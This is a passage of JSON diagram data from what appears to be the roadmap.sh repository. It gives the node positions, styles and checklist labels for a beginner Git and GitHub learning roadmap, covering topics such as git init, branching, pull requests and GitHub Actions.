GitHub\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17,\"color\":\"#0008FF\"},\"oldId\":\"Scl5hHAl-ajRlJu3LDN6F\"},\"zIndex\":999,\"width\":179,\"height\":36,\"style\":{},\"positionAbsolute\":{\"x\":226.53169343447416,\"y\":547.848933004529},\"dragging\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"W2jAge7_4FrGa3CGuxV3o\",\"type\":\"section\",\"position\":{\"x\":896.5316934344742,\"y\":549.448933004529},\"selected\":true,\"data\":{\"label\":\"\",\"style\":{\"width\":150,\"height\":100,\"fontSize\":17,\"backgroundColor\":\"#ffffff\",\"borderColor\":\"#000000\"},\"oldId\":\"6VtvCuJz7YTSPbTP6pyq_\"},\"zIndex\":-999,\"width\":369,\"height\":269,\"style\":{\"width\":369,\"height\":269},\"resizing\":false,\"dragging\":false,\"positionAbsolute\":{\"x\":896.5316934344742,\"y\":549.448933004529},\"selectable\":true,\"focusable\":true},{\"id\":\"x16qRNts_ESjqHt6k8JDX\",\"type\":\"label\",\"position\":{\"x\":916,\"y\":563.448933004529},\"selected\":true,\"data\":{\"label\":\"Learn to work with others\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17,\"color\":\"#0008FF\"},\"oldId\":\"Scl5hHAl-ajRlJu3LDN6F\"},\"zIndex\":999,\"width\":208,\"height\":36,\"style\":{},\"positionAbsolute\":{\"x\":916,\"y\":563.448933004529},\"dragging\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"aZMVz6kc52vLGcZFD9Dgh\",\"type\":\"topic\",\"position\":{\"x\":640.3760409943199,\"y\":769.448933004529},\"selected\":true,\"data\":{\"label\":\"More Git\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"sti_TAgZvSpuFWtygAsKc\"},\"zIndex\":999,\"width\":176,\"height\":49,\"style\":{\"width\":176,\"height\":49},\"positionAbsolute\":{\"x\":640.3760409943199,\"y\":769.448933004529},\"dragging\":false,\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"4ROOP8Gfq694WLkBb3OHL\",\"type\":\"section\",\"position\":{\"x\":204.20942171489753,\"y\":715.6607683354507},\"selected\":true,\"data\":{\"label\":\"\",\"style\":{\"width\":150,\"height\":100,\"fontSize\":17,\"backgroundColor\":\"#ffffff\",\"borderColor\":\"#000000\"},\"oldId\":\"W2jAge7_4FrGa3CGuxV3o\"},\"zIndex\":-999,\"width\":364,\"height\":207,\"style\":{\"width\":364,\"height\":207},\"resizing\":false,\"dragging\":false,\"positionAbsolute\":{\"x\":204.20942171489753,\"y\":715.6607683354507},\"selectable\":true,\"focusable\":true},{\"id\":\"t0D0xOmVtsmEINy_a4v9C\",\"type\":\"label\",\"position\":{\"x\":225.67772828042337,\"y\":729.6607683354507},\"selected\":true,\"data\":{\"label\":\"Learn additional git functionalities\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17,\"color\":\"#0008FF\"},\"oldId\":\"x16qRNts_ESjqHt6k8JDX\"},\"zIndex\":999,\"width\":275,\"height\":36,\"style\":{},\"positionAbsolute\":{\"x\":225.67772828042337,\"y\":729.6607683354507},\"dragging\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"sti_TAgZvSpuFWtygAsKc\",\"type\":\"topic\",\"position\":{\"x\":640.3760409943199,\"y\":917.3860873693703},\"selected\":true,\"data\":{\"label\":\"More GitHub\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"bXfCUG3h1TIFPgD4WUDph\"},\"zIndex\":999,\"width\":176,\"height\":49,\"style\":{\"width\":176,\"height\":49},\"positionAbsolute\":{\"x\":640.3760409943199,\"y\":917.3860873693703},\"dragging\":false,\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"PKX9zjS8bRMMpKBgdc2mI\",\"type\":\"section\",\"position\":{\"x\":898.9321922940919,\"y\":853.8860873693703},\"selected\":true,\"data\":{\"label\":\"\",\"style\":{\"width\":150,\"height\":100,\"fontSize\":17,\"backgroundColor\":\"#ffffff\",\"borderColor\":\"#000000\"},\"oldId\":\"W2jAge7_4FrGa3CGuxV3o\"},\"zIndex\":-999,\"width\":364,\"height\":176,\"style\":{\"width\":364,\"height\":176},\"resizing\":false,\"dragging\":false,\"positionAbsolute\":{\"x\":898.9321922940919,\"y\":853.8860873693703},\"selectable\":true,\"focusable\":true},{\"id\":\"YPjoCC_2o3cEAYbrmgRsq\",\"type\":\"label\",\"position\":{\"x\":913.4004988596178,\"y\":867.8860873693703},\"selected\":true,\"data\":{\"label\":\"Learn more GitHub topics\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17,\"color\":\"#0008FF\"},\"oldId\":\"x16qRNts_ESjqHt6k8JDX\"},\"zIndex\":999,\"width\":213,\"height\":36,\"style\":{},\"positionAbsolute\":{\"x\":913.4004988596178,\"y\":867.8860873693703},\"dragging\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"YFC1N-VgE5uMXF68ZBd8s\",\"type\":\"paragraph\",\"position\":{\"x\":542.8804565125486,\"y\":1091.6899404988976},\"selected\":true,\"data\":{\"label\":\"Continue learning about Git and GitHub\",\"style\":{\"fontSize\":17,\"borderColor\":\"#000000\",\"backgroundColor\":\"#ffffff\",\"color\":\"#000000\",\"textAlign\":\"center\",\"justifyContent\":\"flex-start\",\"padding\":16}},\"zIndex\":999,\"width\":371,\"height\":118,\"positionAbsolute\":{\"x\":542.8804565125486,\"y\":1091.6899404988976},\"dragging\":false,\"style\":{\"width\":371,\"height\":118},\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"nJZnAWELs_Fq2raC_Z2p4\",\"type\":\"button\",\"position\":{\"x\":556.8804565125486,\"y\":1147.3377372022524},\"selected\":true,\"data\":{\"label\":\"Visit Detailed Git and GitHub Roadmap\",\"href\":\"https://roadmap.sh/git-github\",\"color\":\"#ffffff\",\"backgroundColor\":\"#2a79e4\",\"style\":{\"fontSize\":17}},\"zIndex\":999,\"width\":343,\"height\":49,\"dragging\":false,\"positionAbsolute\":{\"x\":556.8804565125486,\"y\":1147.3377372022524},\"selectable\":true,\"focusable\":true},{\"id\":\"vj56JX-Q5c20XqoVFiNfr\",\"type\":\"checklist\",\"position\":{\"x\":210.53169343447416,\"y\":333.84893300452893},\"selected\":true,\"data\":{\"label\":\"\",\"checklists\":[{\"id\":\"2q138gm47\",\"label\":\"git init :  initializing repositories\"},{\"id\":\"m4vo83zl3\",\"label\":\"git add : adding changes to staging\"},{\"id\":\"xpk5rrlz0\",\"label\":\"git commit : committing changes\"},{\"id\":\"nhrrnkwns\",\"label\":\"git reset : unstaging changes\"},{\"id\":\"uo50nzv0j\",\"label\":\".gitignore file usage\"},{\"id\":\"xzojstks7\",\"label\":\"Creating and Merging Branches\"}],\"oldId\":\"UcTZNhl15fF_6hbkDgfas\"},\"zIndex\":999,\"width\":355,\"height\":212,\"positionAbsolute\":{\"x\":210.53169343447416,\"y\":333.84893300452893},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"resizing\":false,\"style\":{\"width\":355,\"height\":212}},{\"id\":\"UcTZNhl15fF_6hbkDgfas\",\"type\":\"checklist\",\"position\":{\"x\":899.5316934344742,\"y\":341.84893300452893},\"selected\":true,\"data\":{\"label\":\"\",\"checklists\":[{\"id\":\"w38r0hvqi\",\"label\":\"What are Version Control Systems?\"},{\"id\":\"dbql3tn88\",\"label\":\"What is Git and why should you use it?\"},{\"id\":\"vv4q2a3os\",\"label\":\"Install Git locally\"},{\"id\":\"mdyuj82c2\",\"label\":\"Create a GitHub account\"}]},\"zIndex\":999,\"width\":368,\"height\":151,\"positionAbsolute\":{\"x\":899.5316934344742,\"y\":341.84893300452893},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"resizing\":false,\"style\":{\"width\":368,\"height\":151}},{\"id\":\"VqtoqEu-GlxesVDVuu41B\",\"type\":\"checklist\",\"position\":{\"x\":210.53169343447416,\"y\":577.8489330045289},\"selected\":true,\"data\":{\"label\":\"\",\"checklists\":[{\"id\":\"2h0czqyv0\",\"label\":\"Creating private / public repositories\"},{\"id\":\"qwgpvcpw4\",\"label\":\"Adding remote and pushing changes\"}],\"oldId\":\"vj56JX-Q5c20XqoVFiNfr\"},\"zIndex\":999,\"width\":358,\"height\":88,\"positionAbsolute\":{\"x\":210.53169343447416,\"y\":577.8489330045289},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"resizing\":false,\"style\":{\"width\":358,\"height\":88}},{\"id\":\"tmdYR0tG1IRnpkeXUVQb9\",\"type\":\"checklist\",\"position\":{\"x\":209.20942171489753,\"y\":760.6607683354507},\"selected\":true,\"data\":{\"label\":\"\",\"checklists\":[{\"id\":\"iv8n3h03q\",\"label\":\"Hard reset and reverting changes\"},{\"id\":\"kt1btl0ex\",\"label\":\"Rebase vs Merge vs Squash\"},{\"id\":\"necmff1cf\",\"label\":\"Stashing and applying stashes\"},{\"id\":\"kht6t27s3\",\"label\":\"Cherry picking commits\"}],\"oldId\":\"Aj0SPmt8T85E9Rlp1GHRD\"},\"zIndex\":999,\"width\":351,\"height\":152,\"positionAbsolute\":{\"x\":209.20942171489753,\"y\":760.6607683354507},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"resizing\":false,\"style\":{\"width\":351,\"height\":152}},{\"id\":\"Aj0SPmt8T85E9Rlp1GHRD\",\"type\":\"checklist\",\"position\":{\"x\":899.5316934344742,\"y\":594.448933004529},\"selected\":true,\"data\":{\"label\":\"\",\"checklists\":[{\"id\":\"ecgf6kmho\",\"label\":\"Learn about forking repositories\"},{\"id\":\"ytk1yk93b\",\"label\":\"Learn about cloning repositories\"},{\"id\":\"c45s3r8c8\",\"label\":\"Creating Pull Requests\"},{\"id\":\"l3jrp4pcu\",\"label\":\"Pulling and pushing changes\"},{\"id\":\"yshxusu17\",\"label\":\"Learn to resolve merge conflicts\"},{\"id\":\"i62uv0ops\",\"label\":\"Learn the most common OSS licences\"}],\"oldId\":\"vj56JX-Q5c20XqoVFiNfr\"},\"zIndex\":999,\"width\":365,\"height\":216,\"positionAbsolute\":{\"x\":899.5316934344742,\"y\":594.448933004529},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"resizing\":false,\"style\":{\"width\":365,\"height\":216}},{\"id\":\"BDYD8XieOdQgFgb1Wygws\",\"type\":\"checklist\",\"position\":{\"x\":896.9321922940919,\"y\":898.8860873693703},\"selected\":true,\"data\":{\"label\":\"\",\"checklists\":[{\"id\":\"lkf33ma1a\",\"label\":\"Learn about GitHub Actions\"},{\"id\":\"xbvgvqv0l\",\"label\":\"Install and use GitHub CLI\"},{\"id\":\"womb7xuqg\",\"label\":\"Learn about Markdown\"}],\"oldId\":\"Aj0SPmt8T85E9Rlp1GHRD\"},\"zIndex\":999,\"width\":360,\"height\":119,\"positionAbsolute\":{\"x\":896.9321922940919,\"y\":898.8860873693703},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"resizing\":false,\"style\":{\"width\":360,\"height\":119}},{\"id\":\"j3huHc7cI7XZsXWx7EnLd\",\"type\":\"horizontal\",\"position\":{\"x\":565.2094217148975,\"y\":519.8489330045289},\"selected\":true,\"data\":{\"label\":\"horizontal node\",\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2B78E4\"},\"oldId\":\"ZibrFs5SqbM7M-ygmuXJq\"},\"zIndex\":999,\"width\":79,\"height\":20,\"style\":{\"width\":79,\"height\":20},\"positionAbsolute\":{\"x\":565.2094217148975,\"y\":519.8489330045289},\"dragging\":false,\"resizing\":false,\"selectable\":true,\"focusable\":true}],\"edges\":[{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"iogwMmOvub2ZF4zgg6WyF\",\"sourceHandle\":\"x2\",\"target\":\"_hYN0gEi9BL24nptEtXWU\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"XX0I26JoVMVXIe_7bVMix\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"_hYN0gEi9BL24nptEtXWU\",\"sourceHandle\":\"z2\",\"target\":\"idLHBxhvcIqZTqmh_E8Az\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"dFn6kGOoJ-0BzJJEb9DSG\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"_hYN0gEi9BL24nptEtXWU\",\"sourceHandle\":\"z2\",\"target\":\"os3Pa6W9SSNEzgmlBbglQ\",\"targetHandle\":\"y2\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"arkF7QJJRbCBYWp0crqa2\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"_hYN0gEi9BL24nptEtXWU\",\"sourceHandle\":\"z2\",\"target\":\"3oInpqvTSSC5_K6i7j8N7\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"HNVw8OboycWKLEtEbG2bn\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"_hYN0gEi9BL24nptEtXWU\",\"sourceHandle\":\"z2\",\"target\":\"YKhuRbcUFzo0hTvuTq-Yl\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"auB7Png72XjmhcLr3IJA7\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"jZ67HhVRelJaxjsCckSSI\",\"sourceHandle\":\"x2\",\"target\":\"hWA7RtuqltMTmHdcCnmES\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"2aoDIr80lXSJLW1hIGUkb\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"sourceHandle\":\"z2\",\"target\":\"NMznG9mo2wzNFnjhg990f\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"m-_y7nLeYFkUKGiacxWA0\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"sourceHandle\":\"z2\",\"target\":\"gc_7cuIO2_joKlQRAPDfX\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"G7pXuJfkyt2nWAOHU8yV0\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"rrrvATyhXqRgJGWI3z0WF\",\"sourceHandle\":\"x2\",\"target\":\"AvbMQ5vY3ip1oX_6Yq4ie\",\"targetHandle\":\"w2\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"2_6Yz3-Agx9_rEN5xW86c\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"hWA7RtuqltMTmHdcCnmES\",\"sourceHandle\":\"w2\",\"target\":\"1AJv95mTLpR7L8KBoGym8\",\"targetHandle\":\"x1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"kgMI98fg2-mKMgUs0wnjD\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"hWA7RtuqltMTmHdcCnmES\",\"sourceHandle\":\"y2\",\"target\":\"0etAs56EeBfh_0IlAaSra\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"selected\":true,\"id\":\"ts38Q2ceHs60TJscUBZVE\",\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"jZ67HhVRelJaxjsCckSSI\",\"sourceHandle\":\"y2\",\"target\":\"h6ceO0kiBIxNRkPzN3hBY\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"ZiMV7umyPdhy3JJDcopR-\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"jZ67HhVRelJaxjsCckSSI\",\"sourceHandle\":\"y2\",\"target\":\"_JlT9oKQ6Yu4UX6l19G8P\",\"targetHandle\":\"z2\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"WI-MhbxrehFcVwyGJ5CQJ\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"_hYN0gEi9BL24nptEtXWU\",\"sourceHandle\":\"x2\",\"target\":\"jZ67HhVRelJaxjsCckSSI\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"qUrLBzvXvJOg53HBfjrOI\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"5Z9o-b3vBA-ITFg86zzYM\",\"sourceHandle\":\"x2\",\"target\":\"HlUUGj3dOZ68t4gIjerXh\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-5Z9o-b3vBA-ITFg86zzYMx2-HlUUGj3dOZ68t4gIjerXhw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"HlUUGj3dOZ68t4gIjerXh\",\"sourceHandle\":\"x2\",\"target\":\"PtU5Qwfzn3N1i3oRlCGoR\",\"targetHandle\":\"w2\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-HlUUGj3dOZ68t4gIjerXhx2-bXfCUG3h1TIFPgD4WUDphw2\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"PtU5Qwfzn3N1i3oRlCGoR\",\"sourceHandle\":\"x2\",\"target\":\"bXfCUG3h1TIFPgD4WUDph\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-PtU5Qwfzn3N1i3oRlCGoRx2-bXfCUG3h1TIFPgD4WUDphw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"HlUUGj3dOZ68t4gIjerXh\",\"sourceHandle\":\"z2\",\"target\":\"S7HjbouTnYhMlJ763X3Cy\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-HlUUGj3dOZ68t4gIjerXhz2-S7HjbouTnYhMlJ763X3Cyy1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"sourceHandle\":\"y2\",\"target\":\"W2jAge7_4FrGa3CGuxV3o\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"gJKwydljU6EuWE4yGtclv\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"bXfCUG3h1TIFPgD4WUDph\",\"sourceHandle\":\"x2\",\"target\":\"aZMVz6kc52vLGcZFD9Dgh\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-bXfCUG3h1TIFPgD4WUDphx2-sti_TAgZvSpuFWtygAsKcw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"sourceHandle\":\"y2\",\"target\":\"4ROOP8Gfq694WLkBb3OHL\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"husRs0D5yg1pnRGtqIFQ_\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"aZMVz6kc52vLGcZFD9Dgh\",\"sourceHandle\":\"x2\",\"target\":\"sti_TAgZvSpuFWtygAsKc\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-aZMVz6kc52vLGcZFD9Dghx2-sti_TAgZvSpuFWtygAsKcw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"sourceHandle\":\"y2\",\"target\":\"PKX9zjS8bRMMpKBgdc2mI\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"2ApKA0kCBCBaRNyikHrG5\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"sti_TAgZvSpuFWtygAsKc\",\"sourceHandle\":\"z2\",\"target\":\"PKX9zjS8bRMMpKBgdc2mI\",\"targetHandle\":\"y2\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-sti_TAgZvSpuFWtygAsKcz2-PKX9zjS8bRMMpKBgdc2mIy2\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"sti_TAgZvSpuFWtygAsKc\",\"sourceHandle\":\"x2\",\"target\":\"YFC1N-VgE5uMXF68ZBd8s\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-sti_TAgZvSpuFWtygAsKcx2-YFC1N-VgE5uMXF68ZBd8sw1\",\"selected\":true,\"focusable\":true,\"selectable\":true}]}"
  },
  {
    "path": "src/data/roadmaps/git-github/git-github.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"lGNqOaL2J0jaYewnPbrxZ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1166.5374122325647,\n        \"y\": 3312.536593518702\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 192,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 192\n      },\n      \"positionAbsolute\": {\n        \"x\": 1166.5374122325647,\n        \"y\": 3312.536593518702\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 192\n      }\n    },\n    {\n      \"id\": \"lqrIjDM7CfF2CNgcIOq3Z\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 857.3760409943199,\n        \"y\": 2716.91990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"GyhfjObOGq-CwF_VIwO8b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 139,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 139\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.3760409943199,\n        \"y\": 2716.91990782706\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 139\n      }\n    },\n    {\n      \"id\": \"ZRB7mytelAk8pg5gsu2Xs\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 843.0316934344742,\n        \"y\": 2691.91990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 843.0316934344742,\n        \"y\": 2691.91990782706\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"mGoWfyS0DO8L-JwPDK5p9\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 308.03169343447416,\n        \"y\": 2605.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"GyhfjObOGq-CwF_VIwO8b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 88,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 88\n      },\n      \"positionAbsolute\": {\n        \"x\": 308.03169343447416,\n        \"y\": 2605.7489330045287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 88\n      }\n    },\n    {\n      \"id\": \"WyueeGiceOzKqHrM2Mn_v\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 308.53169343447416,\n        \"y\": 2711.3618259293457\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"GyhfjObOGq-CwF_VIwO8b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 77,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 77\n      },\n      \"positionAbsolute\": {\n        \"x\": 308.53169343447416,\n        \"y\": 2711.3618259293457\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 77\n      }\n    },\n    {\n      \"id\": \"GVLwJZlzs2me5ogEcf_f9\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 307.03169343447416,\n        \"y\": 2317.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55\n        },\n        \"oldId\": \"GyhfjObOGq-CwF_VIwO8b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 225,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 225\n      },\n      \"positionAbsolute\": {\n        \"x\": 307.03169343447416,\n        \"y\": 2317.2489330045287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 225\n      }\n    },\n    {\n      \"id\": \"MtX03b7FVvVq6kDKfmidT\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 364.53169343447416,\n        \"y\": 2479.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": 